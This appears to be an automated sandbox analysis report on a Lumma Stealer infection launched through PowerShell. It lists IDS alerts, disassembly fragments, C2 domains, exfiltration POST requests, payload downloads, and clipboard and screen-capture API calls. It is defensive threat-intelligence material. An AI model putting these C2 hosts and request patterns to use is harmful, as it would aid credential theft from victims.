Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then not eax	7_2_00615D9F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp], eax	7_2_00615D9F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	7_2_00607660
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	7_2_00607660
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_00620E40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	7_2_0062BE47
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	7_2_00616E37
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ebp+00h], cx	7_2_0062AEF3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, ecx	7_2_00625EAF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	7_2_0062C680
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	7_2_00616E37
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-38B0D97Ch]	7_2_00630E92
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [ebp+eax+00h], 0000h	7_2_00614F00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebp, dword ptr [esp+24h]	7_2_00614F00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	7_2_00614F00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	7_2_0062B7E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	7_2_0062F79E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], cl	7_2_00630FDD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	7_2_0062F7A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+3AF4CF65h]	7_2_0062EFB1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+3AF4CF65h]	7_2_0062EFB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	7_2_00618F98

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49978 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49978 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49984 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49984 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49979 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49979 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49985 -> 104.21.71.158:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: grooveoiy.cyou
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop

Source: global traffic

HTTP traffic detected: GET /ruwkl.png HTTP/1.1Host: klipdiheqoe.shopConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49979 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49981 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49983 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49978 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49980 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49984 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49982 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49985 -> 104.21.71.158:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 188.114.96.3:443 -> 192.168.2.5:49986

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grooveoiy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: grooveoiy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QX3E6ZIY4SL0M38GUJ1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: grooveoiy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JV3SZSYULUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15022Host: grooveoiy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=OP0SIWQC1R5EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20530Host: grooveoiy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3ZZO3H1C0SDEP7Q64User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 951Host: grooveoiy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=P82DJKNRT7LBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585642Host: grooveoiy.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 81Host: grooveoiy.cyou
Source: global traffic	HTTP traffic detected: GET /int_clp_8888.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipjarifaa.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ruwkl.png HTTP/1.1Host: klipdiheqoe.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /int_clp_8888.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipjarifaa.shop

Source: global traffic	DNS traffic detected: DNS query: klipdiheqoe.shop
Source: global traffic	DNS traffic detected: DNS query: grooveoiy.cyou
Source: global traffic	DNS traffic detected: DNS query: klipjarifaa.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grooveoiy.cyou

Source: powershell.exe, 00000001.00000002.2026639128.0000000002D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.2815781205.00000000049A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.2029336118.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2815781205.00000000049A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.2029336118.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.2815781205.00000000049A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000003.00000002.2815781205.00000000049A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipdiheqoe.shop
Source: powershell.exe, 00000003.00000002.2814942950.0000000000A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipdiheqoe.shop/ruwkl.png
Source: powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49986 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00637CC0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

7_2_00637CC0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00637CC0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

7_2_00637CC0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00638A58 GetDC,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

7_2_00638A58

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 2804, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_006E11C8	3_2_006E11C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_006EA230	3_2_006EA230
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_006E3DA2	3_2_006E3DA2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_006E3DB0	3_2_006E3DB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_006EE636	3_2_006EE636
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00B0CEC8	3_2_00B0CEC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0696DF83	3_2_0696DF83
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0696C614	3_2_0696C614
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06966491	3_2_06966491
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_069664A0	3_2_069664A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0696A2B9	3_2_0696A2B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0696A2C8	3_2_0696A2C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C09778	3_2_06C09778
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C092F0	3_2_06C092F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C07E1F	3_2_06C07E1F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C07E30	3_2_06C07E30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C0E790	3_2_06C0E790
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C09768	3_2_06C09768
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C09300	3_2_06C09300
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C06CA0	3_2_06C06CA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C06CB0	3_2_06C06CB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C00040	3_2_06C00040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C00007	3_2_06C00007
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C25D88	3_2_06C25D88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C2DA45	3_2_06C2DA45
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C29908	3_2_06C29908
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C2EED8	3_2_06C2EED8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C2A680	3_2_06C2A680
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C2A678	3_2_06C2A678
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C25D78	3_2_06C25D78
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C27340	3_2_06C27340
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C27350	3_2_06C27350
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C20021	3_2_06C20021
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006088B0	7_2_006088B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006259FC	7_2_006259FC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0062FA70	7_2_0062FA70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0063722D	7_2_0063722D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061123B	7_2_0061123B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006172AC	7_2_006172AC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00612AB0	7_2_00612AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00628B40	7_2_00628B40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0060B300	7_2_0060B300
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00636BB7	7_2_00636BB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00615CE3	7_2_00615CE3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0060E5C0	7_2_0060E5C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0063CDC0	7_2_0063CDC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0063CFF0	7_2_0063CFF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0060D7F4	7_2_0060D7F4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00643860	7_2_00643860
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0063C048	7_2_0063C048
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00606050	7_2_00606050
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00644810	7_2_00644810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061C0E0	7_2_0061C0E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006090F0	7_2_006090F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006098C0	7_2_006098C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061C8C0	7_2_0061C8C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061A8D0	7_2_0061A8D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061A8A1	7_2_0061A8A1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00606880	7_2_00606880
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00637890	7_2_00637890
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00603940	7_2_00603940
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0062A910	7_2_0062A910
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006281D0	7_2_006281D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006221A0	7_2_006221A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00643980	7_2_00643980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061D190	7_2_0061D190
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0060D197	7_2_0060D197
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00641260	7_2_00641260
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061DA70	7_2_0061DA70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00643245	7_2_00643245
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00627A55	7_2_00627A55
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0062820D	7_2_0062820D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006042F0	7_2_006042F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006202C9	7_2_006202C9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00644AD0	7_2_00644AD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0062B2D4	7_2_0062B2D4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006262A0	7_2_006262A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00643AB0	7_2_00643AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00643B40	7_2_00643B40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0060F350	7_2_0060F350
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00602B50	7_2_00602B50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00629B22	7_2_00629B22
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00605B00	7_2_00605B00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00640B10	7_2_00640B10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006063F0	7_2_006063F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0060EBF6	7_2_0060EBF6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061ABC0	7_2_0061ABC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0062A3CB	7_2_0062A3CB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00643BD0	7_2_00643BD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006343B4	7_2_006343B4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00644460	7_2_00644460
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0062646B	7_2_0062646B
